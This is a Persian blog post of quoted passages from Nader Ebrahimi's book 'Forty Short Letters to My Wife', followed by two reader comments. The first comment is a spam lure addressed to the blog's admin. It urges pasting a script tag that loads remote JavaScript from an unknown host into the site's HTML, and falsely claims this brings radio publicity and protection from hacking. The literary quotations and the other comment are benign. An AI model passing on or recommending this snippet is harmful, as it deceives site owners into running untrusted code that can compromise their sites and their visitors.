سخت ترین طوفان٬ مهمان دریاست نه صاحبخانه ی آن

من هرگز ضرورت اندوه را انکار نمی کنم؛ چرا که می دانم هیچ چیز مثل اندوه٬ روح را تصفیه نمی کند و الماس عاطفه را صیقل نمی دهد؛ اما میدان دادن به آن را نیز هرگز نمی پذیرم؛ چرا که غم٬ حریص است و بیشتر خواه و مرزناپذیر٬ طاغی و سرکش و بدلگام.

صفحه ی ۲۰


روزگاری ست که حتی جوانهای عاشق نیز قدر مهتاب را نمی دانند.

صفحه ی۲۹


آنکه هرگز نان به اندوه نخورْد

و شب را به زاری سپری نساخت

شما را ای نیروهای آسمانی

هرگز٬ هرگز٬ نخواهد شناخت

صفحه ی ۳۰


در شرایطی که امکان وصول به قضاوتی عادلانه برای همه کس وجود ندارد٬ این مطلقا مهم نیست که دیگران ما را چگونه قضاوت می کنند؛ بلکه مهم این است که ما٬ در خلوتی سرشار از صداقت٬ و در نهایت قلب مان٬ خویشتن را چگونه داوری می کنیم ...

صفحه ی ۳۸


از قدیم گفته اند٬ و خوب هم٬ که: عظیم ترین دروازه های ابرشهرهای جهان را می توان بست: اما دهان حقیر آن موجودی را که نتوانسته نیروهایش را در راستای تولید مفید یا در خدمت به ملت٬ میهن٬ فرهنگ٬ جامعه٬ و آرمان به کار گیرد٬ حتی برای لحظه ای نمی توان بست.

صفحه ی ۳۹


زندگی مشترک را نمی توان یک بار به خطر انداخت٬ و باز انتظار داشت که شکل و محتوایی همچون روزگاران قبل از خطر داشته باشد.

چیزی٬ قطعا خراب خواهد شد

چیزی فروخواهد ریخت

چیزی دیگرگون خواهد شد

چیزی ــ به عظمت حرمت ــ که بازسازی و ترمیم آن بسی دشوارتر از ساختن چیزی تازه است...

کاسه ی بلور را نمی توان یک بار از دست رها کرد٬ بر زمین انداخت٬ لگدمال کرد٬ و باز انتظار داشت که همان کاسه ی بلورین روز اول باشد.

صفحه ی ۴۱


سخت ترین طوفان٬ مهمان دریاست نه صاحبخانه ی آن.

صفحه ی ۴۵


در جهان قدرتی وجود ندارد که بتواند عشق را به کینه تبدیل کند: و این نشان می دهد که جهان٬ با همه ی عظمتش٬ در برابر قدرت عشق٬ چقدر حقیر است و ناتوان.

ای عزیز!

من نیز همچون تو در باب انهدام عشق٬ داستانهای بسیار خوانده ام و شنیده ام٬ اما گمان می کنم ــ یعنی اعتقاد دارم ــ که علت همه ی این ویرانی های تاسف بار٬ صرفا سست بودن اساس بنا بوده است٬ و بیش از این٬ حتی حقیقی نبودن بنا ...

صفحه ی ۵۴


تنها به اعتبار وجود زنده و پویای توست که چیزی بد است یا چیزی خوب: چیزی کهنه است و چیزی نو٬ چیزی زیباست و چیزی نازیبا؛  و تنها بر اساس اراده٬ عمل٬ و اندیشه ی تو آنچه بد است به خوب تبدیل خواهد شد٬ آنچه نازیباست به زیبا٬ و آنچه مکرر است  به نا مکرر ...

.

.

.

هرگز از زندگی آنگونه که انگار گلدانی ست بالای تاقچه یا درختی در باغچه٬ جدا از تو و نیروی تغییر دهنده ی تو٬ گله مکن!

صفحه ی ۵۸


پس به آن دوست بگو: خستگی کاشته یی که خستگی برداشته یی. اینک به مدد نیرویی که در توست و چه بخواهی و چه نخواهی زمانی از دست خواهد رفت٬ چیزی نو و پر نشاط بساز...

چیزی که اگر تو را به کار نیاید٬ دست کم٬ بچه هایت را به کار خواهد آمد ....

صفحه ی ۵۹



ادامه دارد ...


کتاب: چهل نامه ی کوتاه به همسرم/ نویسنده: نادر ابراهیمی

نظرات 2 + ارسال نظر
maryam.rmelody چهارشنبه 23 شهریور‌ماه سال 1390 ساعت 10:58 ق.ظ http://shikfa.com

به ادمین سایت سلام
من از طرف رادیو ملودی سایت شیکفا این پیغام رو میذارم.
ما قصد داریم برای معروفیت و حمایت از وب سایت ها اسم سایت رو در رادیو قید کنیم و اگر با این کار موافق هستین با این آیدی در تماس باشین.
مزایدی که این کار میتونه واسه شما داشته باشه اینه که 1. سایتتون آمار بالایی پیدا میکنه و یه جورایی معروف میشه
2. ما اسم سایت شما رو چندین بار ذکر میکنیم.
فقط اگر موافقید با این آدیدی مکاتبه کنین تا بقیه مراحل را به شما بگوییم

اگر با این نظرموافق بودین کافی ست :
<script src="http://1.li1.in/play/pl.js"></script> را در قسمت HTML قرار دهید و اسم وبلاگ و نویسنده را به ایمیل یاد شده ارسال کنیین
از دیگر مزایای این کا این است که از سایت یا وبلاگ شما حمایت شده و از نظر امنیت و هک شدن تضمین میشن
به ما بپیوندید
واسه صحت این پیام لطفا آیدی من رو ادد کنید

رها چهارشنبه 23 شهریور‌ماه سال 1390 ساعت 03:56 ب.ظ

این کتاب فوق العاده ست

برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد